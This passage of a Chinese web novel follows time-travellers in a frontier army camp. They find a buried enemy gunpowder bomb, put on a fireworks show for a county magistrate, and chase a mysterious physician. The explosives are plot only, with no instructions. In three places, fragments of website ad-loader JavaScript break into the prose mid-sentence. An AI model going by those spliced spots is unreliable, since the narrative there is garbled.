她草草把纱布打了个结就要下床,顾寻风这才继续动作,扶着她,沉沉开了口:“你等一会。” 林清月有些疑惑,但还是选择信他,只提醒一句:“别太久。” 得了她的同意,顾寻风走到门口去,掀开帘子,不远处,江奇云看到他忽然出现,惊讶了一下,立马跑过来,想拉着他一起去玩。 他却摆摆手说:“你们离远点去玩,太吵了。我要睡了。” 江奇云疑惑,可他觉得将军这么说必然有将军的道理,便没有多说什么,转身去把大家给哄走了,商讨着去自己帐篷那边继续玩。 看着他们一个个挪走,顾寻风才回到帐篷,他一声不吭,又抱起了林清月,直直往斜对面的帐篷走。 林清月想说什么,但想到此时形势,她还是闭了嘴。 于是气氛沉默许多。 待走进帐篷,林清月就看到小哈在帐篷的角落里刨些什么。 她挣扎着下来,“小哈!” 小哈跑了过来,她蹲在地上,摸摸小哈送上来的毛茸茸脑袋,边问:“小哈,你在干什么?那边有什么吗?” 此时顾寻风已经走到了那边,那个角落已经被小哈刨出了一个小坑,不过暂时看不出什么异样。 林清月站起身,走了几步就被顾寻风扶住,最后停在小坑前蹲下,她压住心跳深呼吸,伸手摸了摸土地,指腹上沾染了泥土,她将手指送到鼻前闻了闻。 “……” 什么都没有。 但此时,小哈又继续去刨坑了,这次还显得有些着急,吭哧吭哧的。 “……小哈?” 林清月皱着眉想了想,又看向顾寻风,还没说什么,对方像是能听见她心声似的,提前开口了。 “若是在帐篷里面藏了什么,我认为不太可能,这个帐篷的位置,他们不好摸进来的,我在帐篷外去挖了看看,看会不会有什么。” 林清月想想觉得也是,“那我在里面跟小哈一起挖。” 于是就这样分工,顾寻风去了外面挖,林清月则在里面,从百宝袋拿了个小铲子,跟着急的小哈一起挖挖挖。 谁也不知道会不会有收获,但总得试一试吧。 林清月挖了好久,手都酸了,她都怕顾寻风在外面挖会被当成变态…… 好在,不出一会,顾寻风就喊了她,把她带到与小哈刨的那个角落相对的帐篷外侧,是一个炸药包。炸药包的引线藏得极其隐蔽,看引线方向,正是她遇袭的地方。 “难怪会有个人落单袭击我,所以是我不小心撞破了他们点燃引线?” 顾寻风不置可否:“今夜中秋,大家忙着过节,他们趁这个时候来偷袭也在意料之内。” 【恭喜宿主完成任务!烟火大传承任务进度加至10%】 【宿主好厉害呀~~】 ‘闭嘴滚。’ 林清月现在心情极其不好。 她看到这个火药的时候就在压制自己的火气了,偏偏这时候系统撞上来,她没控制住自己的语气。 系统委委屈地滚开了。 据她所了解的,这个时代火药并不流行,十分昂贵,他们居然想用这火药对付她?? 就因为这赤马跟她了??? “气死我了……”林清月火气上头,都忘记自己脚上的伤,气得一跺脚,然后又疼得直接狼狈坐在地上。 “……他们军营远吗?”她问又准备把自己抱起来的顾寻风。 顾寻风说:“有点距离。” 林清月任由她抱起自己,气愤握着拳头,脸都涨红了,咬牙切齿道:“他们要是想开战你一定先告诉我一声,我一定要让他们知道,什么才是真正的轰炸!” 顾寻风噗嗤一下笑出声来。 “你笑什么?”林清月歪头看他,“笑我呢?” 顾寻风弯身钻进帐篷内,把她放到床上坐着。 “他们会不会开战,我不知道。” “不过我挺想开战的。” 林清月也笑他:“行行行,总之你们要打仗,这个忙我必帮了,到时候一定带我一个!” 顾寻风应下。 “对了!”林清月挪了挪屁股去看小哈,小哈还在刨,“小哈?” 任务都完成了,应该没有什么了呀,小哈怎么还在刨坑……它单纯是喜欢刨坑?还是说还有其他的什么? 林清月自知自己惹了敌方多大的气,不敢松懈,拿起小铲子又去刨,顾寻风在旁边欲言又止,半晌才小声说:“我觉得应该没什么了。” 但林清月没听,下一秒,铲子碰到什么硬硬的东西。 小哈瞬间激动,刨得更兴奋了。 不多时,它咬出了一根骨头,骨头上还覆着一层泥土。 林清月:“……” 她就不该对一只小哈士奇抱有任何期待。 她扔下铲子坐回到床上,看着啃骨头啃得欢的小哈,叹了口气,随后望向不知从哪掏出了药瓶和纱布,正准备继续给他上药的顾寻风,“谢谢将军。” 顾寻风“嗯”了一声。 顾寻风蹲下,小心拆开她腿上乱糟糟的纱布,“……如果再不小心受伤,不能这么随意处理。” 林清月知道,这里工业都不先进,那医学也好不到哪里去,总归来说有个人死在了军营都是不好的,顾寻风担心也正常。 “这次事出有因嘛,我知道的。” 顾寻风听了解释,没再言语,给她包好了伤口,动作都很轻。 只不过药上上去的时候,林清月还是痛得脸都要变形,她只能捂着脸,直到结束了才放下手,松了口气。 她在心里暗骂敌军的人,心里已经在想,到时候怎么以其人之道,还治其人之身了。 伤口的疼还没下去,为了转移注意力,闲下来的林清月又开始骚扰顾寻风:“话说,你怎么看起来这么关心我啊?你实话说,小哈当时找的明明就是我的伙伴吧?” 顾寻风正在收拾药物和纱布,也是如实回答:“我答应了要帮你赚钱,怎么会让你死在军营?我还想要你手上的东西。” 紧接着,顾寻风想到那时,他正安安稳稳坐着,这小狗就摇着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尾巴直愣愣朝他扑过来,嘴上还有血,被他捂在怀里擦掉了,这才没被发现。 他想着,意味不明地笑了笑:“再说了,就算他们都来,也不一定有我一个人来有用。” 嗯…… 林清月觉得。 也的确是。 毕竟她是见识过了,顾寻风真正对战的实力,一个人打五六个,都能完全不落下风,这武功,顶级的。 “好吧。那这个火药,交给我们处理,可以吗?” 这个要求不过分,而且顾寻风也知道他们的能力,自然没拒绝。 “我就走了,你的伤要小心一些,这几天我会来给你上药的。” “哦,好。” 顾寻风收好了东西就要走出去。 走到门口,掀开帘子。 却在此时顿住了。 门口似乎站了什么人,但顾寻风只是脚步顿了顿,随后什么也没说,直接侧身出去。 然后门口的人走了进来。 “……秦安肆?” “很惊讶?” 林清月下意识收了收刚上完药的腿,顺着他的话点头:“惊讶,太惊讶了。” 确实是惊讶。 他怎么来这里了? 秦安肆进来找了个位置坐着,翘着二郎腿,像是审犯人一样,面无表情问:“有药味,发生了什么?” 林清月面不改色,“不小心崴了个脚。” 哪想秦安肆直接指着他受伤的那条腿,仿佛是气笑了:“血还在呢,姐姐。” 林清月:“……”不早说。 她也不遮掩了,“好吧。你怎么找来了?” 秦安肆淡淡说:“我看到你的狗跑回帐篷了。” 林清月:“……” 她真的不该对一只小哈士奇抱有任何的期待。 对面,秦安肆垂眸望着她腿上的血迹,继续说:“然后我觉得你应该就在后面,想蹲你一波,结果就看见他抱着你鬼鬼祟祟。” “…………” 林清月成功抓住重点,佯怒:“什么意思?我好心让你去发月饼,搞好人际关系,这是我的一片苦心啊,你竟然还想蹲我一波?不敬队长!” “呵。”秦安肆冷笑,“那我还要谢谢你吗?” “还有,别想转移话题。究竟发生什么了?你怎么会……受伤?”他顿了顿,说到受伤的时候语气有些怪。 林清月想着要听一起听,就让秦安肆把其他人都叫来。 其实她从一开始都没想过要瞒着他们,甚至在顾寻风来之前,他以为所有任务播报都是同步的,谁能想到…… 她懒得再怪罪系统。 攒着,以后有机会再一并打回去就好。 等到所有人都来了,林清月看着秦安肆顺手拎进来的炸药包,把事情都跟他们讲了。 听完后,大家都默契的沉默了很久。 湛亦:“你这只狗……算了。” 秦安肆叹气:“……先别喷狗了,我们先想想这炸药包怎么办。” 林清月冷冷一笑:“还能怎么办?秦安肆,我们一起把它改造一下,改日,给他们送回去。” 她看向秦安肆,两人第一次意见统一,目光都能合上。 “毕竟这么一份大礼,我可不敢收呀。” 16. 药师楚才 第二天,林清月等人很早就醒了,集合在林清月的帐篷内研究那个炸药包,实际上这个炸药包并不成熟,能不能爆炸都另说。 “顶多爆燃,如果他们成功了,别人不说会不会受影响,你被烧是一定的。”秦安肆这么说。 林清月更气了,她恨不得拉住秦安肆的手,诉说一番她作为队长的苦心来打动对方。 但还没实施就被对方严词拒绝了。 “这个挺简单的,现在这情况,我当然会帮你。只要我要的东西你那个百宝袋别出错就行,不然,你自己给我找来。”秦安肆漫不经心拆解着炸药包,“……黑火|药而已,威力不大。嘁,其实也炸不死你。” 林清月幽幽看他:“几个意思?” “没意思。” “……”有一天好好说话能死吗? 算了,秦安肆总是这样。林清月懒得跟他掰扯太多。 她的腿伤需要静养,几天时间,白天就跟小队的人一起研究着火药,晚上等他们都回去睡下,顾寻风就会闻着味来给她换药。 林清月疑惑过:“你们军营没有军医吗?” 顾寻风模棱两可:“我也会,再说了,我平日里不怎么受伤。” 行吧。 他不想多说,还能逼着他不成? 这样的日子过得也快,这几天时间,湛亦除了给他们守帐篷,就是找些杂事做,她帐篷内外被刨的坑就是湛亦给填的。 顾寻风知道他们一直喜欢一起行动,也没管他们天天聚一起。 而士兵们对他们的态度嘛,说来说去也就是那样,不过有那么一天,她倒是看见秦安肆和江奇云走在一起,看到的时候她还甚是欣慰—— 然后晚上就被秦安肆给了一脑瓜。 “上次给了他们月饼,他作为代表来送酒的。我不喝,他硬给。后来我就把酒全给康日,用来贿赂那个来修军营的人了。” “哦。”好好说话,怎么还打人。 “还有,这个火药没个一个月改不好,说不好,等他们想开战的时候我都没改好。你确定要继续?” 林清月其实预料到了。 毕竟他们现在还要筹备用来赚钱的小物件,不能把全部精力都投入到火药上面。 “没事。”她说,“就算赶不上他们开战,我难道不能自己报复回去了?他们想烧死我欸。” 秦安肆听着轻轻摇头,也不是否定,只是觉得这人着实没救了。 林清月懒得理他。 “不过按照这进度,过几日我们就可以去见瑾县县令了,到时我让顾寻风给说几句好话……也不知道那个县令好不好相处。” 秦安肆虽然说话不好听,但却是其他人中能力最强的,这点林清月很清楚,这样的人就是容易这样,自视甚高,偏偏还真的需要他。 这几日,除了中秋那晚,敌军那边还算安静,有将领公然来找顾寻风的麻烦,顾寻风全没应战,都让江奇云去了。是以这些日子,江奇云偶尔都能跟顾寻风打个1V1了。 林清月的腿好些之后,空闲时间就喜欢到训练场看顾寻风练剑。 顾寻风剑气凌冽,经常都是他把别人打趴下,不一会就被闹哄哄的士兵们赶下训练场了,自己在一旁跟木头练,每次这时,林清月就喜欢趴在石头上,静心看着。 他倒是脾气挺好,也不恼她天天看,甚至还会问她渴不渴。 日日趴在石头上,身上布衣都有些脏了,终于在腿伤已经完全不影响走路的时候,秦安肆和康日提了一袋子的仙女棒和各式各样的烟花来找她。 “太好了——等着,我这就去找顾寻风,让他安排一下,明日就去县里。” 东西留在了林清月的帐篷内。 白日里顾寻风都是满军营到处跑的,只有晚上才在帐篷内,于是等到了晚上,夜幕降临,林清月才去了顾寻风帐篷。 听她讲完,顾寻风思考片刻:“可以……你的事,我先前就同县令提过,待明日一早,我就过去让县令准备,我在县里等你们来。不过近日江副将忙着练新兵,恐怕没时间送你们了,我再看看谁有空……” “不必。”林清月心情好,笑颜如花,“我们自己去行了,反正也不远,这段时间,我督促着他们练了练骑马呢。” 说起骑马,还得多亏了顾寻风,那些时日,他每晚来给她换药,聊天时她曾经提过想让不会的同伴们也学学骑马。 也是省得往后有什么需要,毕竟都在军营了,而且这边又地处偏远。 于是没个两天,顾寻风就给他们找来了几匹听话的马,说是总归亏欠她的,就多帮帮她。 林清月也不在意什么亏欠不亏欠,当然,他觉得亏欠那更好,这样,她就更好忽悠他了。 一个远近闻名的大将军,家世也好,这个大腿,反正只要在这军营一日,她都得傍。 日子定了下来,林清月就安心多了,她捞了个椅子坐在顾寻风旁边,好奇看着顾寻风手中的书简。 “这什么?” “敌军布防。” “真厉害,你一来就搞到了这个啊,你们是不是快要开战了?一定要叫上我啊到时候!” “没到那时候。”顾寻风微微叹气,又收起竹简,“我们的卧底才刚混进去,就是之前跟你们吵架的李驰,不过你应该不记得这种事。” “哦……” 林清月想了想,确实没多少映像,干脆懒得再想,转而问:“这种事情你就这么告诉我?” 她凑到顾寻风面前,指着自己的鼻子,不敢置信:“我?” 顾寻风歪歪脑袋,眨了眨眼睛,“嗯?你啊,怎么了?” 他高高束起的马尾顺着动作动了动,发尾落在肩头,太阳穴两侧的刘海被窗外吹来的微风吹起,飘了一下。 烛光映照着他无可挑剔的脸庞,林清月看得有些入神,而他也不挪开眼神,带着疑问的眸子就这样直直看着她。 片刻后,林清月回神开口,觉得有些好笑,话语间都带着浓浓的笑意:“我是你什么人啊,你这么相信我。难不成……” 顾寻风立马不再看她,望向书简,“是我失礼,我对林姑娘绝对没有任何的非分之想。” “哦。” 总之,这事儿几乎已经是板上钉钉了。 想到第二日还有的忙,林清月很早就回去睡觉。 翌日。 午时。 林清月拉着一大包烟火准备出发的时候,军营内还在操练新兵,江奇云站在高台上颇为英姿飒爽—— 直到看到了他们。 “?” “你们为什么拿我们的袋子!” 他上半身都伸出了栏杆,恨不得直接从几丈高的台子上跳下来,“这!是!我!们!的!” 林清月闻言,回头看了看身后刚上马,正在调整袋子位置的仲长湫。 然后抬手遮住太阳,仰头看过去,“噢你说这个啊——那咋了,你们将军都同意!你不同意?!” 江奇云气恼:“我们将军什么时候同意了,就算同意也是你的错!” “哦,不理他,我们走吧。”林清月根本不打算跟他说废话,一行人就这样无视气得跳脚被新兵笑话的江奇云,骑着马疾驰出军营。 这条路他们走过一次,这里道路平坦,没什么特殊地形,也不是什么绕来绕去的路,几人紧赶慢赶,差不多半个时辰就能看到瑾袖碑了。 到了瑾袖碑,又差不多一刻钟,终于赶到关门口。 林清月抬头看着上面写着“临沙关”三字的牌匾。 或许是因为近期敌军不安分,关门排查严了一些,此时都排成长队。 “我们能进去吗?”仲长椿问。 “为什么不能?”林清月拍了拍赤马的脑袋,“赤赤,一会儿跑快点,晚上给你加餐。” 说完,便从腰间掏出一个令牌,众人还没看清令牌模样,就见林清月已经纵马而去,他们立马也像模像样跟在后头。 接近长长的队伍了,林清月提前举起牌子,单手拉着缰绳。她发丝挽起一半被木簪固定着,及腰的长发在空中飞扬,厉声大喊:“军营办事,烦请各位让行!” 声音如惊雷灌入耳中,无一人不侧目望去。 队伍四散。 守门的士兵看到她手中的令牌,没有阻止。 七人纵马而去,后头的人都吃了一嘴灰,小声嘀嘀咕咕。 “军营的人怎么急急忙忙进关了?这又是出什么事……咳咳灰都扬起来了!” “……我没看错吧,领头那个是个女的?” “你没听说吗?军营很久之前就来了一队神仙一样的人,还帮忙打退了敌军。别看那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是个女人,可狠着呢,差点让敌军的将领断子绝孙……” “这是真狠。” 林清月当然不知道她的事迹已经传到关内。 他们进了关内,快到约定地点的时候就勒马停下。湛亦算是骑快活了,停下了之后抬手一甩马尾,染过色的发尖在阳光下仿佛在发光似的,她语气轻快:“队长刚才还挺威风。” 林清月骑在她身边,得意地昂头:“那是,也不看看我是谁。” 秦安肆没参与他们没营养的对话,问:“令牌是从顾寻风那骗过来的?” 此时林清月已经下马了,正在找位置栓马。 听了秦安肆的问话,她立马盯住对方,一个字一个字说:“这是他主动送我的。” 什么叫骗?她是这样的人吗? 秦安肆笑,笑得不真诚,“那真稀奇。你居然真勾引住他了?” 林清月没理,继续找位置。 倒是湛亦回了:“你们男人不就是群视觉生物。队长当初可是论坛公认的校花,还勾不住一个将军?” “话不能这么说……”康日似乎想辩驳一下。 一听康日开始回湛亦的话了,林清月赶忙插嘴:“好了好了,我们来把马都安置好,做正事。” 可不能让这两人对上话,不然得吵个没完。 几人安置好马,找到了约定见面的酒楼,进去坐着等。酒楼内人不多,只有零零星星几个,来来往往的,他们几人格外显眼,不说其他的,几个男生的短发明显就与其他人不一样。 秦安肆被看得有些不耐,问了第五遍:“还没来?” 林清月想笑,憋住了,清清喉咙回:“别急啊,人家不还要为我们准备好一切事宜吗,一会他来了,直接接我们去县令府上。” “这都多久了,到底什么时候才来?”秦安肆看向门口,又进来几个人盯着他们打量,他着实是受不了了,“人都要被看出花来。” 湛亦:“你去跟他们说让他们别看了。” 秦安肆:“……” “不说就闭嘴,别隔几分钟就问一下。”湛亦显然也是烦了。 这样心浮气躁下去必定得吵起来。 林清月当即招呼小二过来,点了两份小菜,“先吃吃菜先吃吃菜,别着急——” “几位,可是从军营中来的?”林清月刚拿起筷子,忽然听见有人发问。 她顺着看过去,来人站在她对面,一抬头便能看到。 是一个书生模样的,背着一装满草药的背篓,见他们都看过来,拱手作揖。 “小生是来瑾县游学的学生,前几日听闻军营中一行外乡人的事迹……想必,各位便是那群人吧?” 秦安肆格外谨慎,矢口否认:“不是。” 对方愣愣:“不是吗……” 而后赶忙道歉:“不好意思,不好意思,是小生认错了人,打扰各位。” 众人都没再理,拿起筷子继续吃菜。 林清月默默观察着,见那人去购置了两坛酒,一个人拎走了,出门之前,她再次与这人对上视线。 接触的一瞬间,她心里头莫名慌了一瞬,打了个寒颤,只一秒,对方眼神变化,朝她点头微微一笑,然后离去。 “……这人……”林清月想说些什么。 【发布任务:结交药师楚才】 “?” “……” “谁?” 七人都顿住了,面色有些复杂。 【啊啊啊!】 系统忽然大叫。 【宿主!快去追啊!!】 林清月把筷子拍在桌上,一时控制不住音量:“你不早说?!” 周围的人瞬间都看向他们。 林清月无法注意他人了,他眼里只有那个楚才的背影。 这好不容易一个正经任务啊! 既然任务要她结交,那这人,必定会对他们的传承任务有大帮助。 【呜呜呜,666刚刚在午睡……宿主……】 “……” 林清月此时急得钱都忘了付,更是没有理嘤嘤呜呜的系统,老板只看到一群人风一样都奔了出去。 “钱……”话都没说完,人就没影了。 …… 算了…… 等将军来,从他那讨回菜钱吧。 17. 绽放于空 顾寻风实在不知道这群人在干什么。 最开始,他为了试探这群人是不是真的有本事,都信了让一只狗去对付敌军,好在最后也是成功了。 驯马也成功了,很棒。 …… 但是这群人也太费钱了。 为什么点这么贵的菜。 还没吃完。 没、吃、完。 “将军,你就等着呗,他们既然跟你约了在这里见面的,肯定是会回来的,我见他们应该是见着故人,追人去了。” 酒馆内,顾寻风刚给完银钱,此时正靠在柜台上,听了老板的话,先是皱眉,而后冷笑一声:“那你怎么不等他们回来,却要让我垫钱?” 老板讪笑两声:“这不是很正常嘛……毕竟逃单的客人我也遇到过不少,以防万一啊。” 顾寻风深吸口气,拿起放在柜台上的配剑,一声:“走了。” 他头也不回就朝着老板指的方向追过去。 而此时,林清月几人还在追着楚才在人群中若隐若现的背影。 林清月怎么都想不通,他一个文弱的书生,怎么拎着两坛子酒还走得那么快啊。 “等等我等等我……”她走不动了,好累。 “我先追,一会散了就系统联系!”精力充沛的湛亦继续往前追去。 林清月大口喘着粗气,抹了抹额头上的汗,声音虚弱:“靠你们了,我找个地方坐一下……” 也不知道他们听到没,反正林清月是追不上去也没力气喊停了,本来就正是人多的地方,他们一路上被人群挤得都够呛,还要注意不能跟丢。 偏偏那楚才跟聋子一样,喊他也不应。 林清月实在是累了,感觉都有点呼吸不上来,耳边嗡嗡的,一转身,被来往行人人撞到了肩膀,差点都站不稳。 “哎呀对不起对不起……” 都是打工人,匆匆道歉就离去了。 林清月捂了捂心口乱跳的心脏,转头寻找可以安全坐着的地方……实在不行,蹲着也可以啊。 好不容易看到一个没什么人的角落,那里还堆放着几个木箱,木箱后连接的是漆黑的小巷。 绝佳乘凉地! 看到这个地方,林清月眼睛一亮,赶忙往那边挤。 她身躯较为瘦小,在人群中时不时就被撞一下,也就是身体正不舒服才没说什么,不然换做平常,她大概早给对方骂得狗血淋头了。 总之有人给她撑腰,给她兜底,她向来不畏惧。 只是现在,她没心情也没底气,被撞了顶多瞪一眼回去。 现在她只想快去坐着。 突然,耳边有人叫了一声,似乎有什么人在往这边挤,连带着又有人撞到了她身上,她眼前一花,感觉天旋地转的,有些站不住,摇摇晃晃的就要跌倒。 这时背后靠到了什么,她被人揽住腰身,几步就到了那堆木箱的后面,其他人光顾着指责横冲直撞的人,没人注意到他们那边。 林清月摸索着转了身,抬眸,望见来人面容,声音虚浮:“顾寻风……” 对方似乎叹了口气,沉默片刻,说:“先别说话。” 林清月眼前有些模糊,眼神虚虚的望着他。 顾寻风正观察着什么,似乎是在看外面的状况,手里握着的剑也随时都准备着出鞘,没再碰她,她只能看到少年轮廓分明的侧脸。 林清月深呼吸压了压心脏的狂跳,但没用,她不舒服地动了动身体,抬手攀到顾寻风肩头,侧身对着他,就坐到了他半跪着的腿上,另一只手则放在了他黑色的腰封上。 布制的衣裳摩擦,发出细微的沙沙声。随着动作,她身上青绿色的衣裳,几乎将他的红色覆盖。 “……!”顾寻风瞬间僵在了原地,他脑中在思索,对方该不会是中了什么药吧? 顾寻风微微低头看过去,见她额前碎发都被汗水浸湿,苍白的脸近在眼前,发白的嘴唇动了动,发出的声音轻极了:“靠一下。” 然后,额头放在了他的胸前,再没有其他动作。 “……” 他脑子里到底在想些什么。 苏周城来的小姐,许是娇弱得很,怕是方才太过激动,一下跑这么一段路,累着罢了。 林清月只是觉得这样比坐在地上要舒服许多,便就靠了上去。 随着时间流逝,她的呼吸渐渐平缓,而顾寻风一直紧握着自己的剑,除了把她拉进来的那一瞬间,手再没乱碰。 不知过了多久。 林清月双目渐渐明晰,她松开手直起身子,这才反应过来问:“你怎么在这里啊?” 顾寻风偏眸看向巷子外,答:“有人在跟踪你们,没发现吗?” “没有……” “你们呢,在追谁?”顾寻风探究的眼神看向她。 对方清冽的声音带着些冷意,林清月一时还没想好怎么解释突然追一个药师,支支吾吾:“我们……我……对了他们还在外面,我得跟他们汇合,不是还要去找县令吗?” 说着,她就要看向转过去看向街道。 却不想顾寻风忽然将剑柄抵在了她身前。 “怎么……”林清月有些疑惑。 她抬头,眼睫微动,忽而望见他耳垂处异样的颜色,他眉头微蹙,似乎欲言又止。 “……” “!” 她还坐在他腿上…… 意识到这一点,她赶紧退了下来。 沉默。 还是沉默。 许是为了缓解尴尬,顾寻风率先开口,说:“追你的人已经走了。我……先送你去县令府上休息休息吧。” 林清月赶紧说:“我要去找……” “我帮你把他们接来。” “……好。” 路上,林清月跟在顾寻风身后,人多了,便抓着他衣摆。后来,顾寻风直接把手中那柄银白色的剑给了她抓着,还别说,这样的确方便许多。 于是二人就这样一前一后,一路到了县令府上。 林清月歪着脑袋,目光穿过顾寻风挡在前面的身躯去看站在门口的县令。 县令是个小胖老头,似乎很早就在府门口等着了。见到他们前来,笑眯眯迎上:“世……将军您来啦,快进吧,现如今外头可不安全。” 而后看到了她,县令也赶忙作揖:“小姐,也里面请。” 顾寻风朝县令摆摆手,看向她说:“你去歇着,我马上就来。” 林清月忙抬手指了个方向:“他们往那儿跑了。” 一路上,林清月一直在喊系统,但系统又不应声了,说实话,她已经习惯了。 相信顾寻风也能找到的,毕竟武功高强的人,轻功肯定也挺好吧。 这么想着,林清月放下心来。 县令领着她到了大堂内坐下,并殷勤倒水。 “谢谢大人。” “见小姐脸色不太好,怕是路上累着了?”县令脸上都是奉承的味道。 林清月喝了口水,眼珠子一转,笑着问:“敢问县令大人,是否知道县中有一位名叫楚才的药师?” 县令思考了片刻,叫人拿来个本本翻翻,片刻后才答:“噢,那人是半年前来游学的,从胡京而来,是个大户人家,来这儿半年,治好了不少人的病呢,都说他是妙手神医。” “小姐认识他吗?” 县令观察着她的神色。 林清月笑了笑:“不算认识吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,只是好奇。” 顿了顿,她轻轻咳嗽,抿口水,叹叹气说:“我自小身子不好,也是听闻了有这样一号人物,所以想了解了解是不是真的如此……” 县令十分上道,立马说:“那楚才平日里就住在东南侧一栋茶楼附近,若小姐想去看看,我可以差人给你带路。” 林清月叹口气,此刻的她还有些病态,瞧着甚是惹人怜惜,“也不麻烦大人了,这么些年,其实我也习惯了的……对了,我此次前来叨扰大人,所为之事,将军应当都跟大人说过的吧?” “说过、说过。”县令依旧笑着,放下手中簿子,识趣的没再提刚刚的事。 林清月起身,往门口走去,望着天上蓝天,语气缓缓:“今日带来的东西在我同伴手上,不巧,路上我与他们走散了,不过将军应该一会就能把他们带来。” 县令很早就听说了这群人的事,顾寻风跟他说要介绍他们来的时候,他还有些不可思议,他们居然要来这卖东西? 真不怕被有心之人揪住小辫子吗? 他们从军营而来,还有可能惹得敌军注意,从而进关探查。 也不知道将军是怎么想的。 所以在收到来自军营的介绍信时,他就立马给顾家那边书信了一封,虽说直到现在都还没收到回信就是了…… 既然顾家那边没什么消息,他也就欣然接受了这群人的到来。 …… 顾寻风把其他人找来的时候,林清月已经完全恢复了,面色红润得很。 反倒是其他人,都跑得满头大汗,此时还没完全恢复过来。 特别是拖着一袋子烟花的仲长湫。 县令看出他们的路途艰辛,亲自给他们上水,好好招呼了一番,这期间,林清月已经蹲到那袋烟花旁去了,转头,朝顾寻风挥了挥手。 顾寻风会意走过来。 林清月眨巴眨巴眼睛,朝着他粲然一笑:“一会儿给你看个好玩的。” 顾寻风也蹲下了,手指拨开袋口看了眼,“这是……” 林清月直接打开了袋口,里面装了一箱未拆封的烟花,当然还有些小的,只是那一大箱着实太吸引注意力。 接着她指指那一箱最大的,说:“麻烦将军,帮我把这个搬出来,我去问问哪儿比较空旷,我们搬到那儿去。” 说完,林清月就兴致冲冲走到县令旁边去,“大人,可否借一处空旷之地?” 县令看过去,此时顾寻风已经搬起了最大的那一箱烟花,他微微诧异:“这是……” 林清月想了想。 片刻后,说:“是一种可以绽放于空的花。” 县令愣了。 这是什么花? 县令疑惑,但见顾寻风都已经在行动了,便没有多耽搁,领着一群人去往后院,路上,他一直观察着那一箱……花。 那箱子用褐色的油纸包着,好似有引线一样的东西,他隐约记得,有种杀伤力大的火药也有这样的引线。 这东西,若不是将军亲自带来的,他都会以为是敌军的什么新型武器。 到了后院,几人分工检查了下周围环境是否安全,确认可以后,林清月拿出一包火柴,指挥着众人后撤,独自前去点火。 划开火柴,点燃引线—— 随着一下下的“砰咻”声,五颜六色的烟花炸开在半空。 白天瞬间被染上颜色似的,云朵好像都在跟着欢腾的烟花起舞。 县令从满脸惊恐,到惊艳,只用了短短几秒。 彼时,林清月背对着还在升空的烟花走过来,县令赶忙提高音量问:“此为何物?是什么花?” 林清月把被风吹乱的刘海捋了捋,笑笑,答道:“是烟花。” 18. 同心相连 对于林清月来说,拿捏这群人简直不要太容易,特别是还有大腿引荐的情况下。 看了他们的烟花展示,县令喜形于色,更加殷勤,晚饭还留了他们在府里吃。 等着晚饭的时候,林清月借口出去看看风景,拉着秦安肆就出了门,走到池边,看着周围没什么人了,开口问:“人没追到?” 秦安肆:“跟丢了。路上人有些多,我们六人都差点被挤散,倒是你,休息的时候居然碰到顾寻风了,还丢下我们自己先来府上了?” 说起这个林清月可就来劲了。 她双手叉腰,嘁一声:“分明是你们丢下我好吗?我人都要累昏了,还被人跟踪,多亏人家救了我。” “哦。”秦安肆淡淡瞥她一眼,继而问:“谁跟踪你?” “……”忘记问了。 林清月摆摆手:“这不重要!我来了之后跟县令打听了,楚才此人,是半年前从某个地方来的,据说医术很好,我在想,要不一会我就装病,顺势过去?” 秦安肆:“6。” “?”林清月眯眼,“你想死?” 这人几个意思啊,6是几个意思? 半晌,秦安肆呵一声:“今天?你当自己是陀螺……陀螺也要休息吧?而且你今天过去,这天色……难道还要在人家那过夜?反正我可不陪你。当然,我不是关心你,只是现在大家都靠你,你倒了可不行。” “另外——” 走到亭中,风吹了起来,他看向身旁整理头发的林清月,声音轻了轻:“之前,穿越之前的爆炸,谢谢你救我一次。” “这有什么好谢,顺手的事。”林清月整理好头发坐了下去,靠在栏杆上,而脑袋仰起垂在栏杆处,正好可以看到秦安肆貌似无语的神情。 她笑笑:“还是说,你有什么谢礼要给我啊?” “没有。”斩钉截铁的一声。 林清月也没在意,伸了个懒腰,转而侧身,倚靠在栏杆上,手臂搭在上面,望着池中讨食的鱼儿,从百宝袋中拿出一小袋鱼食来投喂。 风轻轻撩起她衣裙和发丝,晚霞映照在湖面,唯余的几丝光亮全照在了她的身上,情景宛若画卷。 秦安肆看着,一直以来不安焦躁的心忽然就平静了下来。 他突然想,那就既来之则安之吧。 倒是林清月,喂着喂着忽然叹气,“你说,会不会我们在这里做任务做到老了,还解锁不了最终任务,又或者,回去的时候都已经年过半百……” 【不会哒宿主!】 “?” 【宿主,虽然你们是通过意外,穿过时空缝隙来到这里,但我们的时空穿梭技术是最先进的!只要宿主完成最终任务,666会为您打开时空通道,通过正规渠道回到你自己的世界,容貌和年龄都将返还为来时的样子!】 林清月咬牙切齿,手紧握成拳:“你刚刚给老娘跑哪去了?” 【嘿嘿,宿主~~你不要生气嘛,666也是很忙的,不能时时刻刻都看着宿主的情况。】 “忙着睡觉?” 系统不吱声了。 不知道是不是听到了系统的声音,片刻后,湛亦几人都走了过来,他们一起聚在亭子里,气氛便热闹了起来。 “你是说,你打算生一场病?”湛亦翘着二郎腿坐在林清月身边,“感觉可行,不过你尽力就好,那人看着有些奇怪。” 秦安肆点头:“总之我们之后还要来这赚钱的,不急于一时。” “行。”林清月应了下来。 其实一开始与那人对上眼的时候,她就觉得这人有些奇怪,但又说不出究竟是哪里怪。 谁知道系统竟让她结交。 黄昏下,他们或站或坐,在亭内闲聊许久,从最初组队聊到如今。 仲长椿笑得开怀:“想当初,他们说这里包吃住,我就来了。” 湛亦也笑了,一摊手:“谁知道吃的是草,住的是山洞。” 秦安肆冷笑:“你们都是被坑骗的,就我是自愿的。” 林清月调侃:“大少爷就是好啊,提前就知道了冰棺的消息,千里迢迢赶来跟我们组队。委屈少爷了——” “委屈少爷了——” 几人都夸张的开始重复最后那句话。 秦安肆望了一圈这群人,最终叹叹气:“那我,不委屈?” “哟,少爷今天心情好?” “他竟然没骂我们耶……” 林清月听着他们闹哄哄,笑了几声,转头继续喂鱼食。 过了不知有多久,远处有人喊—— “吃饭啦各位!” “来啦!”林清月回应。 她拍拍手起身,顺手一拍一直站在她边上的秦安肆,“去吃饭。” 然后其余人忽然开始乱叫。 “队长为什么叫他不叫我?” “队长为什么叫他不叫我?” “队长……” 林清月:“?” 